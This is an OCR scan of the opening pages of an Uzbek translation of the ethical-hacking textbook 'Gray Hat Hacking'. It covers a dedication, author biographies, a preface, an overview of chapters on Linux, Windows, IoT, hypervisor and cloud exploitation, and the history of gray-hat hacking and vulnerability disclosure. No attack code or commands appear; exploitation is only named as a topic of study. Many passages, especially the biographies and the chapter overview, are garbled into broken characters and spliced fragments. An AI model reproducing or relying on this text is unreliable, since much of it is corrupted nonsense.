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“Hujumkor xavfsizlik (Offensive security) sl}unr:ha?llk I(‘-I‘ng qlmz::;; 5:?;.::]-](
o'z ichiga oladiki, hatto uni }ruzak'{ tarzda yorituvchi ma L‘llrrlm nali} cakerdil:
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}fu‘nali;'hlarning hayratlanarli darajada lfﬂlta gismini qam o ':a o
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Shon Xarris Xotirasiga bag‘ishlanadi

Har safar yangi nashr yozganimizda Sh
yuzaga chigadi. Oldingi nashrlardan
yo'qotdik. U ajoyib do*st, bu so

on hagidagi barcha xotiralarim
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MUALLIFLAR HAQIDA

Dr. Allen Xarper, “CISSp” (“Centified Information Systems Security
Professional™) sertifikatiga ega,

Irogda xizmat gilganidan keyin 2007-yilda
dengiz pivodalari korpusi zobiti sifatida harbiy xizmatdan nafagaga chiggan. U
[T/xavfsizlik sohasida 30 yildan ortig lajribaga ega, Shimoliy Karolina shtat
universitetida kompyuter muhandisligj bo‘yicha bakalavs darajasini, “Naval
Postgraduate School"da kompyuter fanlari bo'yicha magistrlik darajasini va
Kapella Universitetida axborot Xavfsizligiga urg*y, berilgan axborot texnologiyalari
bo‘yicha PhD darajasini olgan, 2004-yilda Aljen Honeynet loyihasi uchun “roo”
deb nomlangan GEN [y Honeywal CD-ROMni ishlah chigishga rahbarlik
qildi. Shundan buyon y Fortune 500 ro'yxatiga kiruvchi ko*plab kompaniyalar
va davlat tashkilotlarida xavfsizik bo‘yicha maslahatchi sifatida faoliyat yuritib
kelmogda, Uning gizigish doirasiga buyum|ar internet (JoT) tarmog'i, teskari
muhandislik, zaifliklarn; aniqlash vy axlogiy Xakerlikning barcha turlari kiradi.
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i”fn ‘“‘f*?ﬂ""?’s‘*“_{" “’J'-_-"”F- kﬂ""Pﬂm}'HSIga 4505 solgan va langible Security
ompaniyasida ijrochi vits bosh xaker lavozimlarida ishlagan.
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! : e Sgan T-Rex Solutions, LL
kompaniyasida Kiberxavfsizlik b, Yicha ijrochi vitse-prezident bot|il ishlamoqda.
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ega. Stiven bo's

i ishlab chigishdan tortib, “Tangible
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Rfyfumy Lumﬁaﬁl}’:? }'i%:d““ ortiq senoet m_lnba_s - E%Z‘k:;tir}rﬁka kabi turli soha-
L]Elshgft;hif llu?iai ﬁ?b;:iyul sanoal, 1armoq ‘I; ':“:?hﬂaiakl “Black Hat™ konferen-
lik tajribasi bil: b fsizligini baholadi. | sifatida ishtirok
siz tizimlar xavisizligini b *ruzachi sifatida ishtiro
larda son-sanoqsiz tizim ir qancha anjumanlarda ma'ruz S
siyasida murabbiylik gilgan, bir qdﬂ?:ﬂ: The Ethical Hacker's Handbook™ kitobi

i f ‘\Tll 1'0- o !

¢ wuoilantirishea garatilgan.
lizimlar xavfsizligi va ularni rivojlantirishga ¢

* Kibersavfsizlik kompaniyasining asoschisi va
Uaskar Texeda “FETCU Ilq'l!b::?Elei::knmmunilfmsiya snl1a§|?§ir3ﬂHi;|i‘::
bosh direktori hisnhlu'ﬁdL malakali kibwrxart'sizhk_!nutaxiils;gaﬂi 'xa'u'l‘ﬁi?ﬂik
ortiq tajribaga ega hﬂ-gan vayderlar uchun {‘P“mtﬂfﬂfk dﬂl;‘a.l“ ishda sezilarli
bir nechta keng P“msah.;j r:: muhim Immr!'ﬂ"““""ﬂ_mn1 15}}]‘1 bc jv_izimi tekshirish,
yechimlari va biznes U'-: ::I'siZ!ik tadqiqotlari, ti?:.mjga kil’th‘ ;Jsh gl o
yutuglarga eriﬁifgan. U .*:Elﬁh dasturiy ta’minotni 1shl.at; c Ighuningdﬂk- SANS
Linux yadrosini 1{1‘22”:1“ -:lani malakaga ega. Huas Ell:1.~;il maslahat kengashi
qurilmalarni loyihalashda YO % 0 cy e Team o Dvelogae ireiin
Lotin Amerikasi mﬂ*"_llal'ﬂ:i};g eng ilg*or kursi, SEC760: Pene
a'zosi va SANS institull s

i iggan muallif.
hun ilg*or ekspluatatsiyani ishlab chiqqa
uchun ilg <

i 2ot Tarl oatda 15 yildan ortiq
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LI:I{:H]-:I: uning diggat markazi E;ii;;iﬂilaﬁf
icrosoft Hyper-V” kabi mn hsum“'ard::nzef}?(;hi bir nechta
qaratilgan bo'lib, “Mlcru-‘qt Security GmbH™ va lm!'ﬂ:"“}ﬂ “TACITO Security”
xabar qilgan. U BILIL Fm'aniyﬂiﬂfida iShIagm. :fathnr ﬁ ﬁilnn shug* ullanishdan
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in .M'nzes‘ il{;ﬂst 0'z faoliyatini 2000-yil atrofida
kol:rll;r;fll:ﬂ:rd:lgsﬁr:ﬂ?.g Efnn.ir? L?gu yillaming boshidan buyon barcha turdagi
Systems™ va “McAfee” bor Ug--{‘- ,'“E' ish beruvchilari orasida *TLOT. “Csen
sifatida, u yerda sanoat sertifik I 10 Systems” kompaniyasining bosh me’mori
e Cﬁ”jﬂ“dth ari kabi muhim xavfsizlik loyihalarida ishlagan
maydon)sini yaratishda ishti Ek comlangan bepul axborot xavfsizligi dojo (maxsus
darajasida, shuningdek I-:ukm] ;15;:1“' Ushbu tashabbus o*rta maktab va universitet
U, shuningdek, SANS Ensmgfd Gﬂﬂpalarda shaxslami o*gitishga garatilgan.
penetratsion testi, bulutiar pee.. - V2 Katta instruktor bo*lib, veb-ilovalar

, ar penetratsion testj vq qizil jamoa {1pcraisi3'alﬂri kabi

lc_:ﬂflqic-gi ya sohalariga katta :
qizil jamoa operatori sifatid ‘GRIMM™ kompaniyasida

yirik tarmoglarni loyihalash

qiziq.ish bildiradi. Hozirda
a faoliyay yuritmogda,

MUQADDIMA

Ushbu kitob shaxslar. korporatsivalar va mamlakatlarning umumiy xavfsiz-
lik holatini vaxshilash magsadida, axlog normalari asosida va mas fu‘-" nvat '-{'” lan
ishlashga sodiq be'lgan xavfsizlik bo vicha mutaxassislar tomonidan ishlab

chigilgan.

KIRISH

Uzoq davom etgan urushdan hech ganday davlat foyda ko*rgan emas.
s — Sun Tzu
Urushea tayyor bo'lish tinchlikni saglashning eng samarali
e vositalaridan biridir.

— Jorj Vashington

.ar bu fakt bo*lganida edi, unga razvedka deyilmas edi.
Agar — Donald Ramsfeld

it 1o kabi. ushbu kitobning magsadi ham odamlarga ilgari faqat
|‘|.t1k1,‘:]::1::!.1i;l :T';l:ri? l:atl;rz:il: “plack hat” xakerlarigina l:ulg?n ma %un}n?lir;:ﬂ lﬂq;}*“f
etishdan iborat, Har bir nashrda biz o‘quychilarga so nggl avsiz fid usub s
hagida ma'lumot berishga harakat gilamiz. Klbcmmsi}nlr]%k?till"lgl 5: ‘kﬂ mﬂ“"ﬂ
ko*proq shaxslar, nafagat “black hat” xg.lkerlargﬂ g kl Ht:-ﬂ“ lua:rga:‘ lif;-
ga qarshi ham kurashmogdalar. Agar sizda ham shu h.‘:ilm e T:.izng " d::r }:u-
0'zingizni yoki tashkilotingizni him:::nya qtluj.'cl.u sifatida, Slz:;:j: o aqmudﬂfaa

jumchining bilimlari bilan qurol Ianllnv:uqclumlz,LShru I:nat‘lsit " hm% S
uchun hujumkor usullardan foydalanadigan ax_luql}' SR f s
jum camiz. Axlogiy xakerlik — gqonun va boshqa odamlarning

lﬁkrhILSh l-aréiri tm!l::“t?iljun yondashadigan sharafli roldir. Axlogiy xaker o'zini si-
I:gﬁgiﬁl Sglia;:lsr;:] ;:rqa]i raqibni yengish mumkin degan tushunchaga aifia’ ulack

: . .. siz, 0*quvchiga, sanoat va umuman jamiyatga kr:refk
gy o Ko T iyl va oy niyatlrga g bo'lgan alogiy
xakerliknin: to'lig ko'rib chigilishini lj"'qdlm H-mhl'“ mf I]‘ﬂf_« 'uhseal ilatl1 al:z:
ushbu kitnb!;ing yangi nashrlarini axloql_}' x_ake_rhk.mnfa ;Zdan ]E:izfisg‘ cialkags.h-
holda chiqarishda davom etamiz — bu bizning jamiyatimizda ju p

likka sabab bo*lmogqda.
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Biz beshinchi nashmi yangiladik va keng qamrovli va zamonaviy usul-
lar, jarayonlar va materiallarni, shuningdek, o‘quvchi tomonidan takrorlanishi
mumkin bo‘lgan hagigiy laboratoriya mashg*ulotlarini taqdim etishga harakat
qildik. Ushbu kitobda yangi 18 ta bob kiritilgan bo'lib, boshqa bo*limlar ham
yangilangan.

Birinchi bo‘limda kitobning golgan qismini o‘rganishga tayyorlash uchun
kerakli mavzularni gamrab olamiz. Shuni yodda tutingki, barcha zarur ko*nikma-
larni bir kitobda gamrab olish imkonsiz, biroq biz yangi sohaga qadam go‘ygan-
lar uchun kitobni oson va tushunarli gilish magsadida ayrim mavzularni tagdim
etishga harakat qilamiz. Demak, birinchi bo‘limda quyidagi mavzularni gamrab
olamiz:

« “Gray hat” xaker roli;

* MITRE ATT&CK freymvorki;

* C, Assembler va Python tilida dasturlashning asosiy ko*nikmalari:

* Linux eksploit vositalari;

* Ghidra teskari muhandislik vositasi:

* IDA Pro teskari muhandislik vositas;.

gan ko'nikmalar hagida umonp oo

S qida umumiy ma’lum
yoritamiz:

: B[:J::'lu;ia I;ﬂ“:z:ﬂ ril‘l:gazlar t‘:lm?i}’ali;_

Bt et e ) texnikalari:

a bulutda “Threat |

* Tahdidlarni gidirish asoslari

Uchinchi bo‘limda tiz
. ‘imlarga x ¢ : ’
yerda siz Windows va Linux tiim;rkeﬂlk amaliyotlari may

; ini eksploitlashda Za
€ qamrovli mavzy bo* lib, biz quyidar;li-

ZUsini o'rganamiz. Biz sizga tarmogq-
utaxassislar tomonidan go*llanilayot-

ot beramiz. Biz quyidagi mavzularni

unting™ laboratoriyasin; qurish;

Zusiga o‘tamiz. Bu
bo*lgan ko*nikma-

ﬂ 3 - -
lamiz: mavzularni gamrab

* Sodda Linux eksploitlari;
. T§knmillashgan Linux eksploitlari:
* Linux yadrosi eksploitlari; 1
. As.ﬂsiy Windows eksploitlari:
* Windows yadrosi ekspluitlan:'
* PowerShell cksploitlari; '
* Eksploitsiz shell olish:

* Zamonaviy Windows muhit

ona ida post-
* Keyingi avlod patch eksploi e

tlari, Sploit fagljyay;,

D

To'rtinchi bo'limda buyumlar interneti (loT) va apparat qurilmalarni xakerlik
qilishni o*rganamiz. Biz kiberxavfsizlikning ushbu sohasini umumiy nuqtai nazar
bilan boshlaymiz va keyin quyidagi murakkab mavzularga o*tamiz:

» Buyumlar internetiga umumiy nuqtai nazar;

» O*rnatilgan qurilmalarni tahlil qilish:

» O*rnatilgan qurilmalarni eksploitlash; . .

« Dasturiy ta'minot asosidagi radio (SDR) tizimlarida xakerlik.

Beshinchi bo*limda virtual mashinalarning asosiy gismini tashkil giluvchi fi-
zik bo‘Imagan — dasturiy tarmog/lar, xotira dislilari va ishl.n:n- herishrii ta_‘minlaydi-
gan gipervizorlarni xakerlik gilishni o'rganamiz. Bu bo‘limda quyidagi mavzular
gamrab olingan: ' r

* Gipervizorlarg umiy nugtai nazar;

- E:E::;:::;:E? ;:mfdai n‘?kuzish uchun tadgiqot freymvorkini yaratish;

« Hyper-V tuzilmasiga nazar, _ -

« Gipervizorlarni xakerlik gilish bo*yicha o rg.nm.rfh.. N

Oltinchi bo*limda biz bulut tizimlarini xakerlik qillsh_ma}'zq.mu_u qia111rab.nla-
miz. Ko*pincha xususiy ma’lumot markaz {iiata cen.lqr}iar!da 1sll.lmllad1_gan giper-
vizorlardan tashqari, biz ommaviy bulut, u bilan !.::ug h-.:] le1+nnlnglyaiar.m-a u[amlpgj
xav{sizlik masalalarini tushuntiramiz. Du:mak: biz qu;,*:da_gr mavzularni yoritamiz:

« Amazon Web Services (AWS)da xakerlik amaliyoti;

« Azure tizimlarida xakerlik gilish:

« Konteynerlarda xakerlik gilish:

« Kubernetes tizimlarida xakerlik qilish. B e N on ‘

Yangi va yangilangan bo*limlardan zax"qiamsri‘nng]lzn? un1ni ‘r.];!ir;m‘.hﬂgar 51z
bu 5.;:.113:1-4 endi kirib kelayotgan hu-lz:-augi?_ yoki :5_1:!\ uﬁl}f hanf.lf'aluml] Lal:lquwnq
n‘rganiSB-’:’a tayyor bo'lsangiz, ushbu kitob aynan siz uchun mo*ljallangan.

Estatmu: Sizning jizimingiz lahoratoriva uhuhg'nf,—,,.;uf..,-m- ""df'n'.rf'.w’} fft b
‘r”"-f';'.r x:J:f:Hrulmn"r;.:r:m: istionch i'mtu' tf.']'ff"\f: mu"nrfu J.?”.: ALJ-II:-”IT.«’.;;:;,__\ ii;,:;:::::”:fﬂ”: :I:J
uful.. J’.:Hrun;rr:‘rfm materiallari va f;f-.'H.-H.:l' (xartolar va wlarni tise : Yy
delah olinishi nitinkin
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[ BO‘LIM.
ASOSIY TUSHUNCHALAR

I-BOB. GRAY HAT HACKING

“Gray-hat” xaker kim? Ushby tushuncha kiberxavfsizlikda qanchalik aha-
miyatli? Ushbu bo‘limda “gray-hat” xakerlar tushunchasini tavsifiab, ularning
kiberxavfsizlik sohasidagi muhim rolini yoritib berishga harakat gilamiz. Qisqa-
cha aytganda, ular “white-hat” va “black-hat” xakerlar orasidagi muvozanatni
ifodalaydi. “Gray-hat” xakerlar, odatda, qonunni buzmaslikka intilib, 0*z bilim va
ko*nikmalarini foydali magsadlarda qo*llashga harakat giladilar. Ular etik xaker-

lar sifatida kiberxavfsizlikni mustahkam|ash vatizimlarni yaxshilas ISS!
4 axshilashga katta hissa
qo*shadilar, Ushbu tushuncha bahsli bo*lish; . o

mumkin, chunki mayy ‘vicha tur-
Ii xil fikrlar mavjudligi tabiiydir. Ushhby bol; I mavzu bo'yic

| Gray Hat Xakerlik
tam‘am ko*plab hahs—munuzaralar
e’yorlami ba’zid

“Gray-hat” xaker a

&4 sabab boladi. Ayrim-
A buzadigap yoki magsadga eri-

ta’rifni keltiramiz. Turlj kj B
ni_nm.wg*ﬁ talgin qilganlarin; angladik, Uy, :E'a?i?ha zi
10°&n tushunmaganlari sababli yshpy, Xakerlar guryhin kame .
gan. Shu bois ushbu mavzuda Yetakchj " Kamsitishga harakat qil-

; : . : kitoh muall: T
lik hagida aniq va to* £'r1 tushunchap; lagdim e::}':;gﬂ;:ls; fal[dﬂ “gray-hat” xaker-
L Hamig,

Mmualliflar bu atama-
at” Xakerlarming kimligini

. ; Xakerl; v
Etik xakerlik har doim ham ﬂnun:; i:::s]':r-m
xakerlikning har qanday shakl;, y, sifatid

: . r d lan (}Hnm . tlar
. ning mg oo dgan. Bir vaq
langan. Birog texnologiya fi\’ﬂjianibg, h Qsadidan gy

o Nazar, jinoyat deb hisob-
¢ . : dyotimi; . JI0yat de

sari xakerlikka bo‘lgan yondashuy hgy, mm:“f:‘ \Mas gismiga aylangan
s $ uni bosh vhi nun-
erl 7 : Qaruvchi qo

o ik wrli jihaglgy;, XUsusan, etik xakerlik
Y Ynayd;, Ushby t: . ell

u llnbn. ) ®
fayonlar pgsy; I 0'qiyotganlarning

lar ham rivojlandi, Hozirgi kunda Xak
xavfsizlikni ta’minlashda muhim rg]
ko*pehiligi uchun bu o*zgarishjar larixiy ja

Shi mumkin, Shy bilan

Sars shnatin m niho-
bi bu tarixni tushunish va soha asoschilarining mehnatini qadfliﬂ; 2: it

u tarix g $ $ g i :
Irl%ial muhimdir. Ularning sa'y-harakatlari tufayli bu La:s.lb bll%;;f;ﬁ: e
:;:dﬂ-tb davom e;iqh imkoniyatini yaratdi. Biz rushl::u ::n‘a uin‘].E'nni ik il
dt“- ! I| h balki |;mm\;‘1~;sisiﬂmiﬂg o'z xakerlik ko n|1-|':r1:1 .En u]amaju‘z ae.
Or qilisn, b ek sadida tagdim etamiz. Bu ularg

R ilish magsadida taqdin £

as : himoya qilish mags Gt Fy i a yo'naltirishda
:d:-.!1 !mquqlqum “]u:iy me"vorlar doirasida dunyoni yaxshilashga y
armm gonuniy va a 2

r - H " - % ﬂdi.‘ . r ‘ | | | | _
davom etish unkiml“‘:::er;ardan foydalanishni tartibga r.gl.m ai:h1_ ?;:nila]ri :;T:n
ir vagtlar kom ) : , @
B:;" : ;1‘»1':: huquzni muhofaza giluvchi urganlan:;;g I:T!::: s Qi?iq.;ilﬁh e
roq edi, chunk ; papivin s
VO] otgan davr ¥
= : .7 rivojlanib boray ga : . ol o
llu\nnlﬂé’f}'ka )lar ::-\ll\ih”-l!: magsadida tizimlarga hujum qil:_u.:jmi ;-,in? o r:r o
1 il i ' izl
;hul}"-?‘;:k:. d?u::ﬁﬂini kashf etdilar. Bm_.:-q immmul.I;.fi;l:;'.:I jﬁn;{‘:huqur Sk s
“"E‘“ a 1di;1“£lg-ll1. Bundan lashqan: axhurc:t V4 e
n‘!ﬂ? 4 qﬁ“ ivat vakillari bilan kelib chu.!qan to*qnasl e ¥ SRS exgu iyt
d'g“." i cerlarning dasturiy ta’minot kmnpam?r_a ¥k ipsktiic o
i m;k”‘;iy ni:}-"]li ganday bo'lishidan qat’1 nazar, Jinoy g
nidan, ularning haqiqiy niy:
lamg*alanishiga olib keldi. |
1986-yilda Qo*shma Shtat
- a - & i = I
chaytirish magsadida “Compu

2 o B lik qonunlarini ku-
ar maviud kompyuter firibgar ; R
MTFI:LJJ;:‘I] and Abuse Act” (“Kompyuter ﬁr:l}garh%z
ek : ildi n ruxsat-
S abul gildi. Bu gonu
it Jish to*g risida”gi qonun)ni gabul qi o sl
i e ?Il‘li:ia:?fmnp}'uter tizimlariga I-:m::]I:mlrldllﬂlfgﬂ‘[f;L i‘;;“;;ilzl_;{;‘;
as ixa : ‘ljallang . '
dvialning e 2 Y Ig 1 H P w li
i1 ar s Jlennium Copyr ) shqaruviga yoki ragamli
“{R%_ﬂld.dﬂ Pln:xs:ut;ﬂn;abui qilindi. Bu qonun m: ia;‘)t];u;[ ]qtizimlarigﬂ qarshi hu-
o g rlhldd-. g1 LI[ <h ldlgilal righls I‘I‘laﬂugﬂmt‘." ; nlﬂﬁﬂ'*ﬁ lushunﬂgaﬂ va undan
!'ll.lquthml e lantirdi. Kompyuter xﬂki-‘f!'lgif;'l huhjuﬂﬂ dushmanona muhit
Jumlarni jinoyatga aylantirdi. i tadqiqotchilarida P
s . cavfsizlik sohasi : igotchilar zaifliklarni topish va
qo’rqilgan davrda, xavisizl ‘dagi gonuniy tadgiqo g arlikk
? : T miyatidagt QO sida, yuridik javobgarlikka
}';Wald!. o hﬂ'::e::::a-:;asi);ia bir yoki ikKi :?m.m“is;‘;:ina cﬂi chunki kod mual-
ularni hisobot qilis = oa duch kelishlari 1 2 % iv deb
: iazosi xaviiga . dislik sohasi nogonuniy de
yoki hatto qamoq jazost X g teskari muhandi o :
‘o .o : Jangan v A fagat davlat tizimlari emas)
liflik huqugi bilan himoyaial 1 day tizimga (faq o :
. . : ar qanday . . *zi joylarda sodir
hisoblanishi mumkin fjl‘hy:::alishi mumkin edi. Bu hali ham ba'zi joy
ruxsatsiz kirish jinoyat de

‘g i ko*plab tadqiqotchi-

bo*Imoqda. . sousiil jinﬂyatchilﬂrdan :lljmtfih f:-:;l:ll;rini I;:]clgilashga 4]

?{akcrlumlng oz da olib kelmaydigan 0°Z c_tr n‘siri ‘il teddigos:

sl huquialy Saml:]ﬂrgayrimlar qonunning Sa-]tl:lyht'zishni lozim topdilar. Birinchi
di. Boshqga tomondan. ko‘rib chi

i gayta : i ;
riga bo*lgan umumiy munosabatrt 4a¥ deb nomlana boshlandi. Ular zaifliklarni

‘white-hat” xakerlar : olarni bartaraf etish-
i ?al;er:m h;:r::;l:lhokma qilib, mavjud muamm
Minimal tafsilotlar

i nada mas’ulivatli va
vfsizlikka oid yondashuvlaming ya
£a intildilar, bu esa xa

C

BB e R A e



huqugqiy doirada bo‘lishini ta’'minlashga qaratilgan edi. “White-hat™ xukcrla!' t‘-*'%
tadgiqotlari davomida zarar yetkazishi mumkin bo*lgan usullarni chetlab otishni
tanladilar va fagat to‘liq ruxsat asosida faoliyat yuritdilar. Boshga bir guruh
xakerlar esa “black-hat” xakerlar deb atala boshladi. Bu guruh qonunlarning
yaxshiligi yoki yomonligiga shubha bildiradiganlar edi

Biroq uchinchi bir guruh ham paydo bo*ldi. Ushbu guruhga mansub xakerlar
zarar yetkazishni emas, balki tizimlarni yaxshilashni istashardi. ammo gonuniy
cheklovlar ulami ijobiy o‘zgarishlar gilish imkoniyatidan mahrum etar edi. Biroq
shartli savol tug'iladi, foydalanuvchilarga zarar yetkazadigan xavfsizlik qarorla-
ri uchun dastur ishlab chiquvchilarni javobgarlikka tortadi gan gonunlar qayerda
edi? Zaifliklarni aniglash to‘xtamagan edi, u shunchaki chetga sigib chigarilgan
edi, “white-hat” xakerlar esa o*z usullari bilan huquqiy chekloviar tufayli ko'p
narsalami kashf etishda giyinchiliklarga duch kelishdi. Ba'zi xakerlar uchun bu

qoidalarni buzish emas, balki shaxsiy manfaat yoki zarar yetkazish bilan bog'liq
bo‘lmagan harakatlar edi.

“Gray-hat™ atamasi ilk bor 1997-yilda Peiter “Mudge™ Zatko tomonidan
“Black-Hat™ anjumanida tilga olingan. U Microsofi bilan zaifliklarni hal qilishda
hamkorlik qilishini e’lon gilganida ushhy alamani ishlatgan, Shu tadbirda, uning
“LOpht” xakerlik guruhidagi hamkori Weld Pong eng yaxshi izohni berdi: “Birin-
chidan, “gray-hat™ xaker bo‘lish jinoyat sodir etishni yoki uni ma’qullashni ang-
latmaydi. Biz bunday qilmaymiz. Har z harakatlari uchut:] jux:¢1huard}'r,
..Gm}--ha:l:: xak:?r hc‘l?sh dunyo qora va 0q rangdan iborat emasligini tan olishni
?giiiﬂlsd'- S‘;EE’I‘I“CEM:F 1999-yilda “LOpht” ushbu atamani m;;qnlada qo*llagan
ad {:I-,”Tna tatlarda “grey” atamasi {)‘mlga “gray" deh yozilishi wd:ﬂiy‘ hisob-

“LOpht™ va boshqga sohada kashs ‘= bil; - ¥ ‘Hario:
Q-rg%ztih, Kf}ngress oldida guvohlik b:r[ijgl'?;inljs:g:ln:?? " hu:f "“.I?rm m_k1}‘!“-1_-Illillt~.T
tadgiqotlariga bo‘lgan munosabatn; rivojlantirib il _crhl\ - H“S!z‘ '
tushunilish natijasida yuzaga » 4onuniy amaliyotchilar noto*g'ri

kﬂﬁﬁhi mumkin hD'| . oy
" - - + . an i ] / i < i 1‘
rog qo’rqish bilan kompyuter xavfsiz|; ginj yaxshil&ash -:nr:E::ﬁ:::ﬁF::::l{{ilz:"L:rm

bu nozik muvozanat bo‘lib har bir i

_ X yangi hol : - : wake

s it el uchungkumzll; g:ﬁ:n te::nnlngt}*a va yangi xaker
elmogqda.

bir shaxs o*

Axlog vy Xakerljk
larda “ethe

- Ba'zan by :: hacker” (axlogiy xaker) atamasi“f
Ama shubhg ostiga olinadi, chunk!

ndo_b-axlt}q:. _xU!q va qonunlar shaxslyy, ijtimoiy g, b :
turlicha bo‘lishi mumkin. Ko'p hollardg bu a Buruhlar va hukumatlar orasida

katlami farglash uchun ishlatilad; - }, P Jinoyat va gonuniy xatti-hara-
- 21~ bu atamg i 3o : YR il
va kasbiy magsadlarda xakerlik gilish; bilan shayg: mumiy farovonlik yo'lida
yoki zarar yetkazuvchi xakerlardan ajratib typag; ;1}3 foyda ko*zlab, faol jinoyat
i : ¢ i

-Axlogiy xaker ganday bo*lishin!
14 }

belgilovehi ko'rsatmalar ba’zi xavfsizlik sertifikatlariga ega bo'lgan mumfzs‘ljlsf
lar va kompyuter xavisizligi tashkilotlarining a'zolari uchun xulg-atvor qoidalari
orqali kiritiladi.

wGray-Hat” Xakerlik atamasi 1 ’

- wgray-hat” si dastlab qora va oq ranglar orasida
it " zdek, “gray-hat” atamasi 1 _ o

ko f: r.[t:.?:;: :1];f;a|;;" borligini tan olishdan kelib chigqan. f-'}lbal?a, aak_ujlar
h“‘l?daquu k:!lﬂ';l‘ldﬂ qora va oq atamalari Qo‘s_hma Shtatlardajgi ?EE' ﬁim izion
2'arb ﬁim?arid;n olingan, bu yerda oq shlyapali k“"_bfl}’]ﬂ" Fﬁf\lﬁhl‘}“‘s : a;-. qora
;h]}’ﬂpﬂ Kiyganlar esa hynmun yigitlar edi. Sh_lmdﬂ}* fl']_lbv : gmy{; “j“m’fa ‘i; r‘:" :é?‘;
nuniy va axlo iy chegarada ishlaydiganlar hlsnhlanad_r, ular tadqiqot - hL]l 4

Iikrl:{qhga ;{wnjlanﬂun bilimlardan foydalanib tn{::pili;g_'Yﬂ xavisizligini yaxshila

: R " ¢ adi.

ali jamivatni hi a gilish uchun Imrak::ﬂ RS " W o
urqa:[i?::ﬁzll:n;\?lg:::ga thu kitob mualliflari barcha gray-hat” xakerlar nomi

: i X ta'rifga rozilik
. : ‘o niflangan har bir shaxs bu r :
dan gapirmaydilar va ushbu sifatda tas ga kel thertin atlian

;jtobda texni
bildirmasligi mumkin. Ammo ush.bu ].\i[('-bd“! te ok Bl nadie tes.
oldin 0z kelib chigish nuqtamizni am.qias.hmtmgd amalga oshirilayotgan hara-
mizga I-:;.:.-ra axloqiy xakerlik I-mnscpsuya:i d'm|m:: .::n "y sondashuv Kitobdagi

5 i = ar vetkazishg - \ ;
ki axshilikka xizmat qiladi, zarar ye - va axlogiy xakerlikning amaliy
|u|1;1f?rru}|’-‘:::ih::1];:;1q tushunishga yordam birf;’;r:lzs:uqﬂlii?‘;:;-hﬂt“ Eﬂkﬂflm“

soekilaring vanads anigrog ta'kidlashga imkon yaratact. Biz, ETE7-E ;
a%mk”ﬂﬂm }ruan: _ﬂl:::‘:i::;?ﬂ; emas, bu usullarni kasbiy IanlIgaizglzd;dﬁgta;ian;;z
Ning aksarivati lekin barchas ek cy Qi unday q: &
oyl e arali rubda olib boramiz. Siz e shingien ol gl
a0 ‘.a'hutnarillm,ml: " hinaizni yaxshilik uchun |shlﬂus‘!ﬂg ok
!jll;.ll qiizshmglz ||:‘1 ;) : 1:1;:"- yut;rlichu ko*p, shuning uchun b:{g: .ﬂiﬂgﬂ.g;‘;; ghat:'
‘Black-hat™” xakerlar sc _ 5 stuvehi ko'p -
"*“}'asir:;a:a'min'h‘iash magsadida hu;uml;;n;i hyﬂ;‘iz;fif‘; S ithas verbin beeadt
akerlar kerak 1le ;itob mazkur sO! bgs ilishga undaydi, degan
aNetiyr otk Usbin ?‘-zmm giluychi ishlarni himoya “'"‘5:‘.3 s
- g dn o yaxshlllkﬁﬁh}; ~gray-hat” akerlikning haqiqty monty
Umiddamiz. Bu orqali biz

ara olamiz.
dartlarini targatishga yordam bera 0

- lik tarixi
Axloqty xak_e s i ar tashlana-
: ik xakerlik sohasining (arixiga :m‘?am]:iy?r?:halik muko-
di Ushbu b“-lffd.a E:kﬂ; qilish mavzusidan boshlanadi
I, avvalo, zaiflikni os

itilad ular keyingi boblar-

i i oz yuritiladi. Bu mavz : obl

fot tizimlari (bug bounties) hagida so’z yurtt o it Le 4y bk
da muhokama gilinadigan ta miy tah khid M

kﬂmi”aﬂfg“rdlggiTT&CK"‘ penetratsiya testi, tahdid
°C in” huj li,

Cyber Kill Chain” hujum mode

Tazvedkasi, tahdidlarni aniglash va X

visizlik muhandisligi kabi mavzular uchun
d
Poydevor bo'lib xizmat giladi.

imi F id1ﬂr
I l f Lcd I’N:ESJS-I-';“
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Zaiflikni oshkor qilish tarixi

Dasturiy ta’minot zaifliklari masalasi dasturiy ta'minot ishlab chiqish jara-
vonining dastlabki bosgichlaridan boshlab mavjud bo‘lib kelmogda. Oddiy gilib
aytganda, dasturiy ta’minotdagi zaifliklar — bu dasturiy ta’minot loyihasidagi yoki
uning amalga oshirilishidagi zaifliklar bo'lib, tajovuzkorlar tomonidan suiiste 'mol
gilinishi mumkin. Shuni ta’kidlash kerakki, barcha xatolar (bugs) zaifliklar emas.
Xatolarni zaifliklardan ajratish uchun foydalanish imkoniyatiga (exploitability)
e'tibor qaratamiz. 2015-yilda “Synopsys™ kompaniyasi 10 milliard gator kodni
tahlil gilgan hisobotni ¢’lon qildi. Tadqiqot natijalariga ko*ra, tijorat kodida har
1000 gator kodga (lines of code - LoC) o*rtacha (0,61 nugson (xato) to*g*ri kelgan.
ochig manba kodida esa 0,76 nugson mavjud bo'| gan. g
rat kodlari OWASP Top 10 kabi sanoat standartlari b
ko‘rsatgan. Bundan tashqari, dasturiy ta'minotda
aylanishi isbotlangan., Zamonaviy dasturlar
kod qatorlariga ega bo‘lganligi sababl

Biroq ushbu tadgiqotda tijo-
o'yicha yaxshiroq natijalarni
gi xatolarning 1-5 foizi zaiflikka
odatda yuz minglab yoki millionlab

ettt i abli odatiy dasturiy ta'minot o*nlab xavisiz-
lik zaifliklariga ega bo‘lishi mumkin. Shubhasiz, insonlar dasturiy ta’minot ish-

lab chigishda davom etar ekan, zaifliklar ham mavjud bo'ladi. Bundan tashqari.
zaifliklar mavjud ekan, foydalanuvchilar doimo Xavf ostida bo‘ladi. Shu tufayli

xavfsizlik mutaxassislari va tadqiqotchilarga 7411 :
s s rga zaifliklar tajovy; : idan
suiiste’mol gilinmasdan oldin ulami oldini o JoVuZieriag: mon

Bu “gray-hat” xakerning asosiy vazifasidir. % 'OPish va tuzatish RoRp

Zaiflikni oshkor qilish jarayonida b
Xaker uchun bu kimga murojaat gilish, g
lar berish va barcha tomonlar o*rtasida h
rini 0°z ichiga oladi. Vendor (dastur ish|
xabarlarni kuzatish, xavf tahlilini o'tk
moni bartaraf etish uchun tegishli ch
ishlab chigishning xarajat va foyda ta
hagida xabar bergan shaxs bilan mulo
miyatga ega. Ushbu masalalar bo*
mos kelmaganida, ular o*rtasida zi
vollar paydo bo‘ladi: vendor zaif
va vendor tuzatish aslida ham o

T qator muhim mg
finda}r i]|[]qa
1sobdor]

salalar paydo bo*ladi.
. 4d 0'rnatish, ganday ma’lumot-
ab chiqari{'l‘thﬂﬂﬂday ta'minlash musu_lulaj
azish, o ) uchun esa zaiflik hagidag!
Dfaial:ni k%;*n' Iﬂ‘ka lumotni olish va muam-
hlilini “l*ka;!?h' zarur dasturiy ta‘mi:‘lf'-'l!“
